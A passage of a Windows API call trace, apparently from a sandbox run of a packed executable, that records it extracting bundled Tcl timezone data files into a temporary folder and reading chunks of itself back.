lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.178] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.179] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.179] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.179] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.179] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.179] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.179] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.179] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.179] CloseHandle (hObject=0x10c) returned 1 [0041.179] GetLastError () returned 0x0 [0041.179] SetLastError (dwErrCode=0x0) [0041.179] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0041.179] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.179] GetFileType (hFile=0x10c) returned 0x1 [0041.179] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.179] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.179] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.179] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.179] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.179] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.179] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.179] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.179] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.179] CloseHandle (hObject=0x10c) returned 1 [0041.179] GetLastError () returned 0x0 [0041.179] SetLastError (dwErrCode=0x0) [0041.179] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\CET") returned 60 [0041.180] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\CET" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\cet"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.180] GetLastError () returned 0x2 [0041.180] SetLastError (dwErrCode=0x2) [0041.180] GetLastError () returned 0x2 [0041.180] SetLastError (dwErrCode=0x2) [0041.180] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\CET", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\CET", lpFilePart=0x0) returned 0x3b [0041.180] GetLastError () returned 0x2 [0041.180] SetLastError (dwErrCode=0x2) [0041.180] GetLastError () returned 0x2 [0041.180] SetLastError (dwErrCode=0x2) [0041.180] GetLastError () returned 0x2 [0041.180] SetLastError (dwErrCode=0x2) [0041.180] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\CET") returned 60 [0041.180] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0041.180] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\CET" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\cet"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.180] GetFileType (hFile=0x10c) returned 0x1 [0041.180] htonl (hostlong=0x2f1d0000) returned 0x1d2f [0041.180] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0041.255] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.255] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xd2f, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xd2f, lpOverlapped=0x0) returned 1 [0041.256] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.256] CloseHandle (hObject=0x10c) returned 1 [0041.256] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.256] htonl (hostlong=0x30000000) returned 0x30 [0041.256] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.256] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.257] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.257] GetFileType (hFile=0x10c) returned 0x1 [0041.257] htonl (hostlong=0x319a5b00) returned 0x5b9a31 [0041.257] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x604a31, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0041.257] htonl (hostlong=0x35060000) returned 0x635 [0041.257] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x635) returned 0x550600 [0041.257] htonl (hostlong=0x35060000) returned 0x635 [0041.257] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.258] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0041.258] htonl (hostlong=0x23200000) returned 0x2023 [0041.258] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2023) returned 0x561090 [0041.258] htonl (hostlong=0x35060000) returned 0x635 [0041.258] htonl (hostlong=0x23200000) returned 0x2023 [0041.258] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x5630c0 [0041.258] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5630c0 | out: hHeap=0x530000) returned 1 [0041.258] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0041.258] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.258] CloseHandle (hObject=0x10c) returned 1 [0041.258] GetLastError () returned 0x0 [0041.258] SetLastError (dwErrCode=0x0) [0041.258] GetLastError () returned 0x0 [0041.258] SetLastError (dwErrCode=0x0) [0041.258] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0041.258] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.258] GetFileType (hFile=0x10c) returned 0x1 [0041.258] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.258] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.258] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.258] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.259] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.259] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.259] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.259] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.259] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.259] CloseHandle (hObject=0x10c) returned 1 [0041.259] GetLastError () returned 0x0 [0041.259] SetLastError (dwErrCode=0x0) [0041.259] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0041.259] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.259] GetFileType (hFile=0x10c) returned 0x1 [0041.259] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.259] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.259] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.259] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.259] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.259] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.259] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.259] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.259] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.259] CloseHandle (hObject=0x10c) returned 1 [0041.259] GetLastError () returned 0x0 [0041.259] SetLastError (dwErrCode=0x0) [0041.259] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\CST6CDT") returned 64 [0041.259] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\CST6CDT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\cst6cdt"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.260] GetLastError () returned 0x2 [0041.260] SetLastError (dwErrCode=0x2) [0041.260] GetLastError () returned 0x2 [0041.260] SetLastError (dwErrCode=0x2) [0041.260] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\CST6CDT", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\CST6CDT", lpFilePart=0x0) returned 0x3f [0041.260] GetLastError () returned 0x2 [0041.260] SetLastError (dwErrCode=0x2) [0041.260] GetLastError () returned 0x2 [0041.260] SetLastError (dwErrCode=0x2) [0041.260] GetLastError () returned 0x2 [0041.260] SetLastError (dwErrCode=0x2) [0041.260] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\CST6CDT") returned 64 [0041.260] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0041.260] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\CST6CDT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\cst6cdt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.261] GetFileType (hFile=0x10c) returned 0x1 [0041.261] htonl (hostlong=0x23200000) returned 0x2023 [0041.261] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0041.262] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.262] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x23, lpOverlapped=0x0) returned 1 [0041.262] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.262] CloseHandle (hObject=0x10c) returned 1 [0041.262] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.262] htonl (hostlong=0x30000000) returned 0x30 [0041.262] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.262] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.262] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.262] GetFileType (hFile=0x10c) returned 0x1 [0041.262] htonl (hostlong=0x66a05b00) returned 0x5ba066 [0041.262] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x605066, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0041.263] htonl (hostlong=0x8c000000) returned 0x8c [0041.263] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8c) returned 0x55cfe0 [0041.263] htonl (hostlong=0x8c000000) returned 0x8c [0041.263] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.263] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0041.263] htonl (hostlong=0xb8000000) returned 0xb8 [0041.263] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb8) returned 0x550600 [0041.263] htonl (hostlong=0x8c000000) returned 0x8c [0041.263] htonl (hostlong=0xb8000000) returned 0xb8 [0041.263] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0041.263] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.263] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0041.263] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.263] CloseHandle (hObject=0x10c) returned 1 [0041.263] GetLastError () returned 0x0 [0041.263] SetLastError (dwErrCode=0x0) [0041.263] GetLastError () returned 0x0 [0041.263] SetLastError (dwErrCode=0x0) [0041.263] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0041.263] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.263] GetFileType (hFile=0x10c) returned 0x1 [0041.264] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.264] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.264] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.264] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.264] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.264] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.264] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.264] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.264] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.264] CloseHandle (hObject=0x10c) returned 1 [0041.264] GetLastError () returned 0x0 [0041.264] SetLastError (dwErrCode=0x0) [0041.264] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0041.264] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.264] GetFileType (hFile=0x10c) returned 0x1 [0041.264] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.264] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.264] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.264] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.264] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.264] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.264] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.264] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.264] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.264] CloseHandle (hObject=0x10c) returned 1 [0041.265] GetLastError () returned 0x0 [0041.265] SetLastError (dwErrCode=0x0) [0041.265] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada") returned 63 [0041.265] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\canada"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.265] GetLastError () returned 0x2 [0041.265] SetLastError (dwErrCode=0x2) [0041.265] GetLastError () returned 0x2 [0041.265] SetLastError (dwErrCode=0x2) [0041.265] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada", lpFilePart=0x0) returned 0x3e [0041.265] GetLastError () returned 0x2 [0041.265] SetLastError (dwErrCode=0x2) [0041.265] GetLastError () returned 0x2 [0041.265] SetLastError (dwErrCode=0x2) [0041.265] GetLastError () returned 0x2 [0041.265] SetLastError (dwErrCode=0x2) [0041.265] CreateDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\canada"), lpSecurityAttributes=0x0) returned 1 [0041.265] GetLastError () returned 0x2 [0041.265] SetLastError (dwErrCode=0x2) [0041.265] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, 